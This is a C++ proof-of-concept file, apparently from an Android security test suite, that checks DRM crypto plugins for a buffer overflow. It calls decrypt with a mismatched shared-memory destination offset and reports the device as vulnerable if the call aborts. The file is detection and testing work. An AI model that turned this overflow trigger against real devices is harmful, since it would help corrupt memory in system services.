1 /**
2  * Copyright (C) 2019 The Android Open Source Project
3  *
4  * Licensed under the Apache License, Version 2.0 (the "License");
5  * you may not use this file except in compliance with the License.
6  * You may obtain a copy of the License at
7  *
8  *      http://www.apache.org/licenses/LICENSE-2.0
9  *
10  * Unless required by applicable law or agreed to in writing, software
11  * distributed under the License is distributed on an "AS IS" BASIS,
12  * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
13  * See the License for the specific language governing permissions and
14  * limitations under the License.
15  */
16 
17 #include <android/hardware/drm/1.0/ICryptoFactory.h>
18 #include <android/hardware/drm/1.0/ICryptoPlugin.h>
19 #include <android/hardware/drm/1.0/types.h>
20 #include <android/hardware/drm/1.2/ICryptoPlugin.h>
21 #include <android/hardware/drm/1.2/types.h>
22 #include <binder/IMemory.h>
23 #include <binder/MemoryDealer.h>
24 #include <hidl/HidlSupport.h>
25 #include <hidlmemory/FrameworkUtils.h>
26 #include <mediadrm/DrmUtils.h>
27 #include <unistd.h>
28 
29 #include <cstdint>
30 #include <cstdio>
31 #include <vector>
32 
33 #include "../includes/common.h"
34 
35 using namespace android;
36 using namespace ::android::hardware::drm;
37 using ::android::IMemoryHeap;
38 using ::android::MemoryDealer;
39 using ::android::sp;
40 using ::android::hardware::fromHeap;
41 using ::android::hardware::hidl_string;
42 using ::android::hardware::hidl_vec;
43 using ::android::hardware::HidlMemory;
44 using ::android::hardware::drm::V1_0::BufferType;
45 using ::android::hardware::drm::V1_0::DestinationBuffer;
46 using ::android::hardware::drm::V1_0::ICryptoFactory;
47 using ::android::hardware::drm::V1_0::ICryptoPlugin;
48 using ::android::hardware::drm::V1_0::Mode;
49 using ::android::hardware::drm::V1_0::Pattern;
50 using ::android::hardware::drm::V1_0::SharedBuffer;
51 using ::android::hardware::drm::V1_0::Status;
52 using ::android::hardware::drm::V1_0::SubSample;
53 
54 namespace {
55 
56 uint32_t kHeapSize = 0x2000;
57 
setHeapBase(const sp<ICryptoPlugin> & plugin)58 void setHeapBase(const sp<ICryptoPlugin> &plugin) {
59   sp<MemoryDealer> memoryDealer = new MemoryDealer(kHeapSize);
60   sp<IMemoryHeap> memoryHeap = memoryDealer->getMemoryHeap();
61   memset(memoryHeap->getBase(), 'A', kHeapSize);
62   sp<HidlMemory> hidlMemory = fromHeap(memoryHeap);
63   plugin->setSharedBufferBase(*hidlMemory, 0);
64   return;
65 }
66 
67 template <typename Status_, typename Plugin, typename Decrypt>
decrypt(Plugin * plugin,Decrypt decrypt)68 void decrypt(Plugin *plugin, Decrypt decrypt) {
69   Pattern hPattern{.encryptBlocks = 0, .skipBlocks = 1};
70   SharedBuffer hSource{.bufferId = 0, .offset = 0, .size = kHeapSize};
71   hidl_vec<SubSample> subSamples{
72       {.numBytesOfClearData = kHeapSize, .numBytesOfEncryptedData = 0}};
73   DestinationBuffer hDestination{
74       .type = BufferType::SHARED_MEMORY,
75       .nonsecureMemory = {.bufferId = 0, .offset = kHeapSize - 1, .size = 1}};
76 
77   (plugin->*decrypt)(
78       false, {}, {}, Mode::UNENCRYPTED, hPattern, subSamples, hSource, 0,
79       hDestination, [&](Status_ err, uint32_t, hidl_string msg) {
80         if (err != static_cast<Status_>(V1_0::Status::BAD_VALUE) &&
81             err != static_cast<Status_>(V1_0::Status::ERROR_DRM_UNKNOWN) &&
82             err !=
83                 static_cast<Status_>(V1_2::Status::ERROR_DRM_FRAME_TOO_LARGE)) {
84           ALOGE("OVERFLOW DETECTED %d %s\n", err, msg.c_str());
85         }
86       });
87 }
88 
89 }  // namespace
90 
handler(int)91 static void handler(int) {
92   ALOGI("Good, the test condition has been triggered");
93   exit(EXIT_VULNERABLE);
94 }
95 
main()96 int main() {
97   const uint8_t uuid[16] = {0x10, 0x77, 0xef, 0xec, 0xc0, 0xb2, 0x4d, 0x02,
98                             0xac, 0xe3, 0x3c, 0x1e, 0x52, 0xe2, 0xfb, 0x4b};
99 
100   signal(SIGABRT, handler);
101 
102   for (const auto &plugin : DrmUtils::MakeCryptoPlugins(uuid, nullptr, 0)) {
103     setHeapBase(plugin);
104     decrypt<V1_0::Status>(plugin.get(), &V1_0::ICryptoPlugin::decrypt);
105     sp<V1_2::ICryptoPlugin> plugin_1_2 = V1_2::ICryptoPlugin::castFrom(plugin);
106     if (plugin_1_2.get()) {
107       decrypt<V1_2::Status>(plugin_1_2.get(),
108                             &V1_2::ICryptoPlugin::decrypt_1_2);
109     }
110   }
111   return 0;
112 }
113